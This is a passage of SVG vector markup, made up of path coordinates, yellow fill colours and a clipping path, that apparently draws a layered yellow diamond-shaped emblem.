l-0.084,0.016h0.084v-0.016l-0.084,0.016h0.084H5.508l0.159,0.098c0.024-0.046,0.029-0.09,0.025-0.098H5.508l0.159,0.098 l0.091-0.148l-0.127-0.123L5.5,40.211h0.192c0.003-0.029-0.011-0.088-0.062-0.143L5.5,40.211h0.192H5.577l0.116,0.031v-0.031H5.577 l0.116,0.031H5.675h0.018l0,0H5.675h0.018c0-0.016,0.103-0.239,0.534-0.764c1.326-1.647,5.702-6.365,19.938-19.769 c9.117-8.594,14.06-12.969,16.78-15.186c1.346-1.111,2.151-1.69,2.636-1.972c0.24-0.139,0.404-0.217,0.509-0.248 c0.104-0.038,0.142-0.038,0.206-0.038h0.068c0.048,0,0.082,0,0.177,0.021c0.168,0.058,0.513,0.214,1.162,0.675 c1.939,1.355,6.742,5.325,19.094,16.779c8.146,7.517,13.021,12.306,15.936,15.347l0.145-0.146l-0.179-0.104l-3.984,7.261 l0.271,0.067L79.023,41.96"/>
<path fill="#F8EC17" d="M79.023,41.96l3.324-6.056c-2.498-2.758-7.564-7.89-17.895-17.435C45.581,1.001,44.558,0.939,43.86,0.939 c-0.69,0-1.345-0.378-20.324,17.5C2.298,38.45,3.005,39.106,3.005,39.106s-0.652,1.104,20.743,20.872 c19.079,17.646,19.542,17.29,20.113,17.29c0.576,0,1.676,0.278,20.628-17.526c9.747-9.161,14.81-14.261,17.426-17.084L79.023,41.96"/>
<path d="M79.023,41.96l0.274,0.141l3.331-6.026l-0.057-0.378c-2.488-2.769-7.581-7.923-17.896-17.463 C55.225,9.5,50.255,5.11,47.535,2.904C46.19,1.8,45.394,1.249,44.878,0.94c-0.264-0.138-0.453-0.218-0.621-0.274 c-0.174-0.037-0.307-0.041-0.397-0.041h-0.086c-0.104,0-0.244,0.004-0.415,0.064c-0.296,0.091-0.689,0.304-1.373,0.791 c-2.033,1.455-6.708,5.475-18.665,16.719C13.364,27.585,8.228,32.714,5.573,35.526c-1.326,1.412-2.033,2.239-2.412,2.72 c-0.189,0.249-0.302,0.411-0.363,0.54c-0.067,0.112-0.103,0.183-0.11,0.32c-0.004,0.065,0.025,0.175,0.103,0.241l0.215-0.241 l-0.271-0.158c-0.035,0.054-0.047,0.125-0.047,0.184c0.007,0.108,0.03,0.181,0.099,0.318c0.119,0.229,0.363,0.604,0.949,1.308 c1.758,2.135,6.562,7.205,19.801,19.463c9.171,8.476,14.037,12.789,16.691,14.991c1.341,1.106,2.105,1.686,2.605,2.002 c0.254,0.156,0.428,0.238,0.581,0.304c0.155,0.049,0.291,0.066,0.376,0.065h0.131c0.091,0.001,0.232-0.017,0.389-0.065 c0.297-0.088,0.705-0.283,1.402-0.764c2.101-1.446,6.947-5.458,18.985-16.785c9.75-9.161,14.814-14.258,17.462-17.103l-0.173-0.521 l-2.891-0.69L79.023,41.96l0.274,0.141L79.023,41.96l-0.068,0.308l2.893,0.7l0.066-0.31l-0.231-0.212 c-2.624,2.818-7.662,7.908-17.402,17.056c-9.18,8.636-14.158,13.017-16.925,15.22c-1.383,1.109-2.203,1.675-2.703,1.956 c-0.246,0.146-0.415,0.214-0.519,0.24c-0.106,0.031-0.155,0.031-0.212,0.031H43.79c-0.052,0-0.073,0-0.17-0.022 c-0.155-0.063-0.48-0.234-1.105-0.685c-1.894-1.409-6.526-5.372-18.549-16.493C13.882,50.439,8.701,45.273,6.042,42.411 c-1.33-1.416-2.018-2.267-2.381-2.755c-0.171-0.242-0.271-0.414-0.312-0.485c-0.022-0.056-0.032-0.065-0.034-0.077v-0.008 l-0.068,0.021l0.07-0.008l-0.001-0.013l-0.068,0.021l0.07-0.008l-0.194,0.034h0.194v-0.034l-0.194,0.034h0.194h-0.29l0.25,0.149 c0.031-0.071,0.041-0.127,0.041-0.149h-0.29l0.25,0.149l-0.059-0.4l-0.197,0.226h0.296c0.001-0.056-0.019-0.158-0.099-0.226 l-0.197,0.226h0.296H3.094l0.222,0.037l0.001-0.037H3.094l0.222,0.037l-0.083-0.002l0.075,0.013l0.008-0.011l-0.083-0.002 l0.075,0.013c0.008-0.011,0.13-0.255,0.589-0.803c1.386-1.708,5.845-6.491,19.858-19.687c9.098-8.569,13.987-12.941,16.674-15.173 c1.337-1.105,2.134-1.674,2.614-1.965c0.239-0.137,0.402-0.207,0.506-0.241c0.104-0.033,0.155-0.033,0.226-0.033h0.086 c0.084,0,0.136,0,0.231,0.025c0.166,0.042,0.492,0.194,1.137,0.652c1.928,1.345,6.635,5.311,19.013,16.766 c10.318,9.544,15.396,14.681,17.88,17.426l0.226-0.216l-0.274-0.137l-3.325,6.031l0.207,0.47L79.023,41.96"/>
<g>
<defs>
<path id="SVGID_1_" d="M43.841,1.525l-0.033-0.009l0.062,0.009l0.042-0.004l-0.02,0.004C44.002,1.525,43.738,1.525,43.841,1.525 M82.108,36.764c-2.263-2.513-7.064-7.663-18.047-17.874C47.372,3.41,44.315,1.723,43.861,1.527 c-0.439,0.18-3.471,1.825-19.911,17.342C15.596,26.741,9.639,32.56,6.237,36.165c-1.484,1.562-2.505,2.772-2.623,2.909 c0.311,0.571,2.668,3.919,20.537,20.472c7.66,7.091,13.309,12.129,16.795,14.972c0.5,0.393,2.799,2.17,2.799,2.17l0.089-0.001 c0.247-0.065,2.892-1.028,20.242-17.389c10.706-10.065,15.52-15.194,17.843-17.756L82.108,36.764 M3.521,39.418 c0.06-0.105,0.074-0.208,0.074-0.294l-0.003-0.017L3.521,39.418"/>
</defs>
<clipPath id="SVGID_2_">
<use xlink:href="#SVGID_1_" overflow="visible"/>
</clipPath>
<g clip-path="url(#SVGID_2_)">
<path fill="#FFE600" d="M36.981,69.551l-2.045-2.465l-2.117-2.382l-1.416-1.469C23.875,55.709,8.507,40.276,8.357,40.145 c-0.045-0.046-0.067-0.098-0.067-0.141v-0.001c0.004-0.04,0.035-0.08,0.058-0.104c0.657-0.63,15.652-15.077,23.834-22.011 L44.756,7.719l-0.348-7.763L25.24,17.031c-7.02,6.179-20.396,20.838-20.527,20.968c-0.328,0.29-0.52,0.729-0.52,1.206 c0,0.452,0.191,0.903,0.551,1.229l0.069,0.072c2.31,2.18,14.122,13.443,20.094,19.199c2.036,1.968,2.772,2.565,3.514,3.174 L31.7,65.55L36.981,69.551"/>
<path fill="#FFE700" d="M34.888,67.122l0.031,0.026c-0.053-0.04-0.309-0.33-2.15-2.405l-1.413-1.457L11.532,43.413l-3.22-3.239 l-0.085-0.17l0.084-0.152c1.604-1.541,15.9-15.28,23.833-22.004c0,0,12.325-9.96,12.559-10.156c0-0.061-0.361-7.347-0.361-7.609 c-0.195,0.182-19.059,17.004-19.059,17.004c-7.03,6.177-20.397,20.816-20.521,20.953c-0.325,0.286-0.511,0.723-0.511,1.166 c0,0.452,0.19,0.864,0.532,1.177h0l0.077,0.065c2.306,2.211,14.122,13.456,20.09,19.228c1.997,1.929,2.744,2.531,3.467,3.125 l3.319,2.7c0.002,0,3.622,2.753,4.863,3.679C36.125,68.63,34.888,67.122,34.888,67.122"/>
<path fill="#FFE703" d="M34.838,67.171l0.047,0.018c-0.065-0.04-0.242-0.244-2.154-2.408l-1.413-1.458L8.274,40.216l-0.098-0.174 l0,0c0-0.039,0.082-0.208,0.082-0.208c1.605-1.559,15.857-15.263,23.844-22.045c0,0,12.308-9.932,12.54-10.134 c0-0.045-0.354-7.178-0.354-7.438c-0.205,0.173-18.965,16.911-18.965,16.911C18.303,23.295,4.933,37.943,4.802,38.072 c-0.314,0.285-0.486,0.69-0.486,1.133c0,0.423,0.175,0.837,0.507,1.138l0.08,0.075c4.204,3.996,14.58,13.883,20.091,19.214 c1.989,1.917,2.74,2.522,3.462,3.109l3.32,2.716c0.007,0.001,3.847,2.91,4.436,3.366C35.781,68.294,34.838,67.171,34.838,67.171"/>
<path fill="#FFE716" d="M34.795,67.204l0.05,0.036c-0.062-0.052-0.22-0.234-2.162-2.409l-1.412-1.471l-23.043-23.1l-0.105-0.192 l0,0c0-0.049,0.076-0.273,0.076-0.273c0.166-0.167,15.408-14.871,23.861-22.043c0,0,12.291-9.922,12.521-10.126 c0-0.043-0.361-7.019-0.361-7.271c-0.196,0.171-18.856,16.812-18.856,16.812C18.498,23.197,5.388,37.581,4.852,38.11 c-0.31,0.274-0.482,0.685-0.482,1.095c0,0.421,0.176,0.798,0.495,1.106L4.94,40.38c4.205,3.996,14.575,13.874,20.094,19.198 c1.993,1.925,2.737,2.539,3.458,3.125l3.324,2.713c0,0,3.37,2.559,4.018,3.043C35.454,67.997,34.795,67.204,34.795,67.204"/>
<path fill="#FFE722" d="M34.747,67.25l0.061,0.038c-0.066-0.055-0.18-0.179-2.056-2.279l-0.118-0.138l-1.406-1.479L8.186,40.315 l-0.115-0.214l0-0.014c0-0.046,0.072-0.312,0.072-0.312c0.134-0.138,15.476-14.935,23.88-22.067c0,0,12.268-9.914,12.493-10.105 c0-0.052-0.35-6.871-0.35-7.113c-0.202,0.175-18.76,16.725-18.76,16.725C18.489,23.294,5.429,37.628,4.9,38.143 c-0.3,0.273-0.466,0.656-0.466,1.062c0,0.387,0.166,0.761,0.473,1.044l0.078,0.082c4.193,3.991,14.557,13.867,20.094,19.207 c1.99,1.924,2.729,2.531,3.453,3.12l3.324,2.7c0,0,2.575,1.959,3.599,2.729C35.143,67.729,34.747,67.25,34.747,67.25"/>
<path fill="#FFE82B" d="M34.695,67.288l-0.003-0.031c-0.136-0.143-0.531-0.582-1.98-2.21l-0.12-0.138l-1.411-1.471L8.139,40.343 l-0.122-0.217l-0.002-0.018c0-0.049,0.071-0.351,0.071-0.351c0.102-0.102,15.402-14.886,23.897-22.099 c0,0,12.246-9.893,12.478-10.077c0-0.064-0.36-6.712-0.36-6.961c-0.196,0.181-18.657,16.646-18.657,16.646 C18.526,23.329,5.47,37.661,4.937,38.194c-0.278,0.26-0.447,0.632-0.447,1.01c0,0.382,0.167,0.734,0.461,1.006l0.07,0.065 c4.183,3.995,14.512,13.821,20.1,19.221c1.979,1.926,2.728,2.522,3.443,3.108l3.324,2.72c0.013,0,2.668,2.014,3.188,2.407 C34.888,67.495,34.695,67.288,34.695,67.288"/>
<path fill="#FFE835" d="M34.652,67.317l-0.008-0.023l-2.1-2.349l-1.406-1.461L8.101,40.382l-0.137-0.237H7.962 c0-0.076,0.063-0.391,0.063-0.391C8.101,39.656,23.277,24.97,31.941,17.61c0,0,12.225-9.864,12.458-10.059 c0-0.059-0.355-6.543-0.355-6.792c-0.203,0.171-18.562,16.543-18.562,16.543C18.767,23.204,6.327,36.9,4.986,38.243 c-0.274,0.245-0.429,0.59-0.429,0.962c0,0.354,0.155,0.702,0.431,0.969l0.076,0.068c4.166,3.964,14.459,13.77,20.103,19.223 c1.98,1.898,2.722,2.517,3.435,3.103l3.322,2.703c0,0,2.205,1.67,2.769,2.091L34.652,67.317"/>
<path fill="#FFE93C" d="M32.499,64.979l-1.403-1.448L11.273,43.658L8.056,40.43L7.91,40.174H7.908c0-0.069,0.06-0.443,0.06-0.443 c0.053-0.074,15.303-14.843,23.938-22.158c0,0,12.203-9.853,12.435-10.055c0-0.045-0.362-6.379-0.362-6.626 c-0.196,0.176-18.453,16.45-18.453,16.45C18.81,23.258,6.37,36.938,5.025,38.28c-0.263,0.241-0.411,0.576-0.411,0.925 c0,0.354,0.147,0.668,0.415,0.93l0.078,0.076c4.157,3.938,14.436,13.734,20.102,19.195c1.979,1.922,2.72,2.523,3.437,3.103 c-0.006-0.001-0.006-0.001,3.322,2.716c0.002,0,1.529,1.168,2.314,1.753C33.817,66.459,32.499,64.979,32.499,64.979"/>
<path fill="#FFE943" d="M32.456,65.02l-1.408-1.451L8.015,40.475l-0.159-0.264v-0.004c0-0.1,0.051-0.479,0.051-0.479 c0.04-0.072,15.113-14.7,23.959-22.207c0,0,12.183-9.83,12.406-10.036c0-0.042-0.351-6.212-0.351-6.471 c-0.197,0.183-18.356,16.384-18.356,16.384C18.884,23.263,6.418,36.972,5.071,38.313c-0.256,0.244-0.395,0.552-0.395,0.892 c0,0.324,0.138,0.645,0.397,0.87l0.075,0.077c4.14,3.951,14.379,13.697,20.101,19.216c1.974,1.925,2.712,2.514,3.434,3.099 l-0.066-0.002c0.069,0.003,0.399,0.276,3.06,2.445l0.33,0.274c0.002,0,1.49,1.133,1.813,1.378 C33.334,66.013,32.456,65.021,32.456,65.02"/>
<path fill="#FFEA49" d="M32.404,65.047l0.002,0.013l-1.396-1.46L7.972,40.523l-0.167-0.281l-0.004-0.018 c0-0.098,0.044-0.496,0.044-0.496c0.033-0.072,15.117-14.731,23.974-22.256c0,0,12.167-9.817,12.399-10.004 c0-0.054-0.358-6.065-0.358-6.32c-0.198,0.176-18.256,16.291-18.256,16.291C18.921,23.304,6.457,37.015,5.11,38.354 c-0.241,0.237-0.377,0.538-0.377,0.85c0,0.316,0.133,0.614,0.378,0.837l0.083,0.065c4.142,3.957,14.399,13.709,20.098,19.22 c1.977,1.911,2.71,2.513,3.428,3.098l0.002,0.003l-0.002,0.033c0.186,0.109,0.754,0.587,2.979,2.391l0.342,0.281 c0,0,0.803,0.601,1.33,1.008C33.21,65.95,32.404,65.047,32.404,65.047"/>
<path fill="#FFEA50" d="M32.356,65.091l0.011,0.023l-1.406-1.47L7.931,40.551l-0.178-0.274l-0.011-0.043l0.046-0.516 c0.023-0.062,14.922-14.588,23.997-22.281c0,0,12.141-9.806,12.37-9.992c0-0.064-0.353-5.912-0.353-6.161 c-0.202,0.171-18.153,16.188-18.153,16.188C18.968,23.356,6.502,37.064,5.156,38.405c-0.233,0.214-0.358,0.494-0.358,0.799 c0,0.29,0.123,0.581,0.358,0.798l0.077,0.065c4.146,3.942,14.398,13.714,20.098,19.219c1.979,1.903,2.715,2.513,3.424,3.087 c0.188,0.155,3.324,2.707,3.324,2.707s0.462,0.349,0.839,0.639C32.644,65.423,32.356,65.091,32.356,65.091"/>
<path fill="#FFEA56" d="M32.315,65.141l0.006,0.005l-1.399-1.459L7.886,40.589l-0.184-0.273L7.68,40.237l0.046-0.531 C7.802,39.521,23.12,24.708,31.749,17.39c0,0,12.118-9.78,12.352-9.976c0-0.059-0.363-5.752-0.363-5.993 c-0.196,0.173-18.049,16.104-18.049,16.104c-6.68,5.873-19.146,19.583-20.49,20.93c-0.218,0.196-0.343,0.467-0.343,0.75 c0,0.28,0.119,0.549,0.34,0.747l0.08,0.089c4.139,3.92,14.388,13.681,20.099,19.2c1.968,1.909,2.707,2.498,3.414,3.081 l3.324,2.726c0.009,0,0.081,0.044,0.345,0.246C32.403,65.236,32.315,65.141,32.315,65.141"/>
<path fill="#FFEA5B" d="M30.875,63.738L11.058,43.856l-3.215-3.221L7.65,40.34l-0.028-0.103l0.043-0.543 c0.076-0.174,15.389-15.017,24.039-22.359c0,0,12.104-9.753,12.326-9.955c0-0.043-0.353-5.581-0.353-5.827 c-0.196,0.179-17.955,16.019-17.955,16.019C19.05,23.432,6.588,37.142,5.244,38.488c-0.209,0.19-0.327,0.449-0.327,0.717 c0,0.258,0.11,0.524,0.318,0.695l0.079,0.079c4.137,3.954,14.382,13.701,20.101,19.211c1.963,1.91,2.702,2.518,3.41,3.096 c0.008,0.006,2.583,2.104,3.042,2.469C31.456,64.327,30.875,63.738,30.875,63.738"/>
<path fill="#FFEB61" d="M30.835,63.774L7.798,40.691l-0.2-0.322l-0.034-0.127c0-0.031,0.042-0.55,0.042-0.55 c0.071-0.181,15.381-15.024,24.06-22.391c0,0,12.079-9.75,12.313-9.951c0-0.043-0.358-5.415-0.358-5.659 C43.421,1.862,25.768,17.61,25.768,17.61c-6.642,5.839-19.136,19.569-20.485,20.91c-0.192,0.183-0.309,0.431-0.309,0.684 c0,0.246,0.111,0.488,0.306,0.657l0.075,0.075c4.128,3.92,14.342,13.65,20.106,19.221c1.961,1.89,2.689,2.493,3.4,3.063 c0,0,2.12,1.742,2.269,1.857C31.006,63.949,30.835,63.774,30.835,63.774"/>
<path fill="#FFEC66" d="M10.972,43.953L7.758,40.73l-0.211-0.329l-0.028-0.086l-0.018-0.073l0.045-0.55 c0.067-0.188,15.379-15.051,24.081-22.434c0,0,12.059-9.741,12.287-9.929c0-0.053-0.351-5.261-0.351-5.507 C43.36,1.999,25.808,17.654,25.808,17.654C19.169,23.5,6.674,37.223,5.329,38.564c-0.186,0.171-0.291,0.405-0.291,0.64 c0,0.227,0.101,0.452,0.279,0.629l0.082,0.065c4.117,3.925,14.32,13.632,20.102,19.22c1.964,1.898,2.698,2.487,3.404,3.07 c0,0,0.768,0.616,1.414,1.148C28.617,61.632,22.143,55.145,10.972,43.953"/>
<path fill="#FFEC6B" d="M7.712,40.758l-0.215-0.326l-0.036-0.116l-0.015-0.071l0.04-0.552c0.066-0.198,15.38-15.089,24.1-22.492 c0,0,12.039-9.709,12.273-9.894c0-0.062-0.363-5.104-0.363-5.356C43.3,2.131,25.846,17.708,25.846,17.708 C19.214,23.537,6.714,37.273,5.368,38.617c-0.173,0.146-0.271,0.37-0.271,0.588c0,0.213,0.096,0.421,0.265,0.57l0.08,0.085 C9.569,43.79,19.8,53.523,25.546,59.071c1.968,1.908,2.693,2.494,3.395,3.069c0,0,0.231,0.182,0.503,0.417 C27.985,61.084,7.712,40.758,7.712,40.758"/>
<path fill="#FFEC6B" d="M7.672,40.803l-0.008-0.006l-0.218-0.343L7.4,40.343c-0.006-0.048-0.018-0.098-0.018-0.098l0.042-0.553 c0.067-0.208,15.386-15.121,24.121-22.527c0,0,12.023-9.694,12.245-9.889c0-0.059-0.352-4.95-0.352-5.196 c-0.2,0.176-17.547,15.671-17.547,15.671C19.282,23.546,6.763,37.316,5.413,38.658c-0.164,0.142-0.255,0.345-0.255,0.547 c0,0.191,0.089,0.382,0.242,0.524l0.086,0.08c4.133,3.942,14.363,13.678,20.1,19.211c1.592,1.545,2.369,2.229,2.98,2.723 C27.011,60.188,7.672,40.803,7.672,40.803"/>
<path fill="#FFEC71" d="M7.628,40.849l-0.013-0.021l-0.217-0.342l-0.049-0.139L7.327,40.27l0.037-0.584 c0.064-0.201,15.381-15.14,24.147-22.562c0,0,11.992-9.678,12.226-9.879c0-0.042-0.358-4.787-0.358-5.029 C43.181,2.387,25.93,17.784,25.93,17.784C19.325,23.601,6.808,37.349,5.452,38.695c-0.152,0.137-0.237,0.321-0.237,0.509 c0,0.18,0.083,0.354,0.227,0.488l0.081,0.065c3.202,3.062,14.122,13.441,20.108,19.228c0.663,0.653,1.185,1.135,1.607,1.517 C24.981,58.249,7.628,40.849,7.628,40.849"/>
<path fill="#FFEC71" d="M7.589,40.9l-0.024-0.037l-0.217-0.34l-0.06-0.142L7.262,40.27l0.042-0.596 c0.061-0.189,15.388-15.149,24.166-22.605c0,0,11.975-9.654,12.202-9.858c0-0.042-0.352-4.618-0.352-4.859 c-0.201,0.171-17.354,15.486-17.354,15.486C19.367,23.64,6.849,37.385,5.498,38.729C5.357,38.865,5.28,39.04,5.28,39.205 c0,0.162,0.069,0.316,0.208,0.452l0.077,0.072C8.431,42.45,17.456,51.044,23.62,56.957C18.834,52.159,7.589,40.9,7.589,40.9"/>
<path fill="#FFED7A" d="M7.543,40.93L7.515,40.9l-0.218-0.35L7.23,40.401l-0.024-0.125l0.039-0.61 C7.3,39.485,22.632,24.498,31.424,17.025c0,0,11.96-9.644,12.195-9.832c0-0.054-0.363-4.463-0.363-4.705 C43.06,2.664,26.01,17.885,26.01,17.885C19.41,23.674,6.893,37.43,5.542,38.779c-0.132,0.12-0.205,0.267-0.205,0.426 c0,0.143,0.065,0.28,0.187,0.396c0.001,0.002,9.298,8.875,14.568,13.909C15.818,49.231,7.543,40.93,7.543,40.93"/>
<path fill="#FFED7E" d="M7.5,40.966L7.465,40.93l-0.221-0.341l-0.07-0.171l-0.029-0.142l0.038-0.62 c0.062-0.171,15.39-15.19,24.206-22.669c0,0,11.938-9.631,12.16-9.82c0-0.059-0.351-4.305-0.351-4.547 C42.997,2.794,26.05,17.921,26.05,17.921c-6.594,5.793-19.116,19.562-20.465,20.91c-0.118,0.105-0.186,0.242-0.186,0.373 c0,0.131,0.057,0.246,0.167,0.354c0.001,0,7.317,6.99,10.996,10.503C12.926,46.407,7.5,40.966,7.5,40.966"/>
<path fill="#FFEE83" d="M7.455,41.018l-0.044-0.052l-0.217-0.34l-0.071-0.179l-0.034-0.17l0.035-0.621 c0.054-0.171,15.397-15.222,24.228-22.723c0,0,11.911-9.598,12.144-9.794c0-0.057-0.357-4.147-0.357-4.382 C42.939,2.93,26.087,17.964,26.087,17.964C19.523,23.742,6.984,37.524,5.626,38.865c-0.105,0.104-0.17,0.216-0.17,0.339 c0,0.108,0.053,0.217,0.152,0.316c0,0,4.804,4.582,7.426,7.094C10.395,43.96,7.455,41.018,7.455,41.018"/>
<path fill="#FFEF87" d="M7.415,41.067l-0.051-0.062h0.018c-0.033-0.039-0.098-0.125-0.241-0.35l-0.082-0.199l-0.035-0.18 l0.037-0.62c0.057-0.176,15.403-15.259,24.25-22.769c0,0,11.894-9.58,12.121-9.78c0-0.044-0.352-3.99-0.352-4.222 c-0.201,0.177-16.948,15.134-16.948,15.134c-6.56,5.758-19.107,19.538-20.461,20.88c-0.097,0.104-0.15,0.208-0.15,0.306 c0,0.096,0.044,0.185,0.125,0.275c0,0.002,2.756,2.621,3.858,3.678C8.522,42.177,7.415,41.067,7.415,41.067"/>
<path fill="#FFEF8B" d="M7.369,41.108L7.369,41.108L7.369,41.108 M7.095,40.692l-0.088-0.208l-0.04-0.174v-0.004l0.038-0.65 c0.051-0.184,15.404-15.293,24.266-22.805c0,0,11.871-9.574,12.107-9.776c0-0.043-0.362-3.826-0.362-4.062 c-0.197,0.179-16.845,15.045-16.845,15.045C19.608,23.812,7.068,37.59,5.711,38.942c-0.085,0.092-0.133,0.167-0.133,0.262 c0,0.077,0.042,0.158,0.113,0.221c0,0.003,1.023,0.992,1.553,1.484C7.175,40.82,7.095,40.692,7.095,40.692z"/>
<path fill="#FFEF8F" d="M7.044,40.73L7.044,40.73L7.044,40.73 M6.953,40.519l-0.046-0.203l0,0l0.035-0.659 c0.051-0.192,15.414-15.327,24.29-22.856c0,0,11.855-9.557,12.077-9.743c0-0.054-0.352-3.671-0.352-3.911 c-0.2,0.173-16.748,14.95-16.748,14.95C19.688,23.844,7.11,37.629,5.755,38.995c-0.074,0.066-0.116,0.148-0.116,0.21 c0,0.065,0.035,0.13,0.093,0.18c0,0,0.877,0.842,1.251,1.205L6.953,40.519z"/>
<path fill="#FFEF93" d="M6.849,40.32c0-0.044,0.033-0.664,0.033-0.664c0.052-0.202,15.417-15.359,24.31-22.906 c0,0,11.831-9.536,12.063-9.721c0-0.062-0.359-3.514-0.359-3.747c-0.199,0.171-16.645,14.865-16.645,14.865 C19.73,23.88,7.156,37.679,5.797,39.04l-0.1,0.165l0.076,0.143c0.005,0,0.92,0.874,1.088,1.035L6.849,40.32"/>
<path fill="#FFF197" d="M6.822,39.656c0.047-0.206,15.421-15.397,24.327-22.942c0.122-0.101,11.644-9.373,12.04-9.711 c0-0.056-0.02-0.833-0.02-0.833s-0.323-2.517-0.323-2.756c-0.192,0.172-16.552,14.783-16.552,14.783 c-5.078,4.444-13.867,13.851-18.086,18.36l-2.373,2.518h0.002c0,0-0.049,0.098-0.071,0.136l0.061,0.104 c0.004,0,0.696,0.659,0.968,0.929C6.8,40.107,6.822,39.656,6.822,39.656"/>
<path fill="#FFF19B" d="M6.763,39.651v-0.025c0.049-0.176,15.43-15.397,24.353-22.958c0-0.001,11.78-9.495,12.021-9.703 C43.135,6.919,43.1,6.169,43.1,6.169s-0.298-2.094-0.312-2.623c-0.186,0.161-16.461,14.686-16.461,14.686 c-5.073,4.468-13.857,13.854-18.08,18.371l-2.364,2.502l0.015-0.055c0,0-0.049,0.099-0.065,0.152l0.049,0.079l-0.029-0.001 c0.083,0.066,0.296,0.264,0.889,0.826C6.749,39.942,6.763,39.651,6.763,39.651"/>
<path fill="#FFF19F" d="M6.707,39.645l0.004-0.019c0.043-0.183,15.439-15.434,24.369-23.013c0,0,11.748-9.472,11.988-9.674 c0-0.046-0.021-0.767-0.021-0.767s-0.304-1.985-0.321-2.51c-0.184,0.173-16.353,14.614-16.353,14.614 c-5.075,4.465-13.852,13.837-18.074,18.351c0.01,0,0,0-2.375,2.522l-0.017,0.027l-0.008,0.024l0.033,0.062l-0.046-0.021 c0.084,0.044,0.28,0.243,0.803,0.724C6.693,39.834,6.707,39.645,6.707,39.645"/>
<path fill="#FFF1A3" d="M6.645,39.639l0.004-0.041c0.047-0.18,15.456-15.441,24.389-23.02c-0.002,0.002,0.002-0.001,6.522-5.373 c0,0,5.403-4.244,5.453-4.287c-0.003-0.053-0.324-2.612-0.343-3.121c-0.189,0.174-16.26,14.533-16.26,14.533 c-5.07,4.45-13.845,13.831-18.065,18.343V36.66C8.312,36.713,8.214,36.812,8,37.042l-2.029,2.155l0.02,0.044 c0.098,0.071,0.284,0.243,0.646,0.592C6.64,39.744,6.645,39.639,6.645,39.639"/>
<path fill="#FFF2A7" d="M6.588,39.632l0.003-0.045c0.049-0.169,15.47-15.466,24.405-23.053l-0.003,0.009 c0.028-0.034,0.071-0.067,0.192-0.171c0,0,11.723-9.446,11.761-9.48c0-0.063-0.324-2.73-0.327-2.961 C42.43,4.1,26.446,18.37,26.446,18.37c-5.069,4.446-13.84,13.844-18.06,18.352l-0.319,0.342c-0.026,0.013-1.822,1.934-2.015,2.138 c0.058,0.068,0.368,0.357,0.529,0.504L6.588,39.632"/>
<path fill="#FFF3AB" d="M26.49,18.403c-5.073,4.472-13.84,13.852-18.059,18.361l-0.322,0.345c0,0-1.768,1.861-1.978,2.087 c0.058,0.046,0.289,0.281,0.404,0.39c0.045-0.201,15.482-15.506,24.423-23.11l0.189-0.142c0,0,11.47-9.263,11.744-9.469 c-0.014-0.052-0.084-0.694-0.084-0.694c-0.085-0.753-0.205-1.794-0.241-2.126C42.397,4.208,26.49,18.403,26.49,18.403"/>
<path fill="#FFF3AF" d="M26.531,18.458C21.46,22.914,12.693,32.288,8.482,36.799c-0.011,0-2.054,2.17-2.266,2.393 c0.061,0.05,0.255,0.25,0.317,0.294c1.004-1.102,15.729-15.708,24.392-23.047l0.19-0.158c0-0.008,11.353-9.159,11.712-9.451 c-0.007-0.049-0.078-0.654-0.078-0.654s-0.182-1.57-0.227-2.001C42.358,4.317,26.531,18.458,26.531,18.458"/>
<path fill="#FFF3B3" d="M26.567,18.504C21.505,22.95,12.743,32.32,8.535,36.833c-0.014,0.002-2.163,2.274-2.234,2.359 c0.046,0.049,0.185,0.18,0.229,0.226c1.254-1.372,15.83-15.784,24.355-23.021l0.192-0.162c0,0,11.632-9.376,11.679-9.419 c0-0.061-0.066-0.638-0.066-0.638c0-0.001-0.167-1.47-0.208-1.892C42.31,4.445,26.567,18.504,26.567,18.504"/>
<path fill="#FFF5B8" d="M26.605,18.541c-5.056,4.444-13.817,13.814-18.031,18.327c0,0-2.118,2.239-2.191,2.318 c0.04,0.046,0.122,0.127,0.142,0.138c1.448-1.539,15.789-15.73,24.319-22.983l0.19-0.146c-0.003,0.004-0.003,0.004,6.523-5.267 c0,0,5.095-4.098,5.145-4.139c-0.011-0.063-0.066-0.598-0.066-0.598c0-0.002-0.186-1.6-0.205-1.774 C42.26,4.558,26.605,18.541,26.605,18.541"/>
<path fill="#FFF5BB" d="M26.646,18.586C21.587,23.036,12.828,32.4,8.62,36.9c0.004,0,0.003,0-1.121,1.198 c0,0-0.958,1.008-1.029,1.083l0.054,0.061c1.605-1.691,15.809-15.741,24.28-22.94l0.189-0.157l-0.001,0.047 c0.038-0.064,0.234-0.235,1.12-0.958c0,0,10.474-8.44,10.526-8.473c-0.006-0.064-0.071-0.56-0.071-0.56 c0-0.007-0.161-1.506-0.184-1.674C42.215,4.687,26.646,18.586,26.646,18.586"/>
<path fill="#FFF5BF" d="M26.686,18.641c-5.062,4.444-13.816,13.81-18.023,18.298V36.93c-0.02,0.041-0.072,0.087-0.223,0.25 c0,0-0.386,0.411-0.646,0.69c4.076-4.1,15.653-15.401,22.977-21.606l0.188-0.167L30.94,16.16c0.038-0.066,0.175-0.194,1.138-0.959 c0,0,10.442-8.426,10.49-8.475c-0.001-0.046-0.054-0.521-0.054-0.521c0-0.002-0.156-1.416-0.17-1.547 C42.17,4.799,26.686,18.641,26.686,18.641"/>
<path fill="#FFE600" d="M50.703,9.138l2.036,2.459l2.105,2.394l1.428,1.453c7.526,7.541,22.884,22.958,23.033,23.113 c0.052,0.034,0.063,0.07,0.063,0.119v0.009c0,0.044-0.028,0.077-0.044,0.115c-0.659,0.619-15.666,15.058-23.828,22.01 L42.911,70.973l0.357,7.753l19.153-17.079c7.023-6.171,20.397-20.818,20.527-20.954c0.338-0.305,0.521-0.743,0.521-1.208 c0-0.463-0.183-0.895-0.548-1.232l-0.074-0.077c-2.307-2.187-14.125-13.435-20.088-19.191c-2.032-1.97-2.764-2.577-3.514-3.169 l-3.268-2.683L50.703,9.138"/>
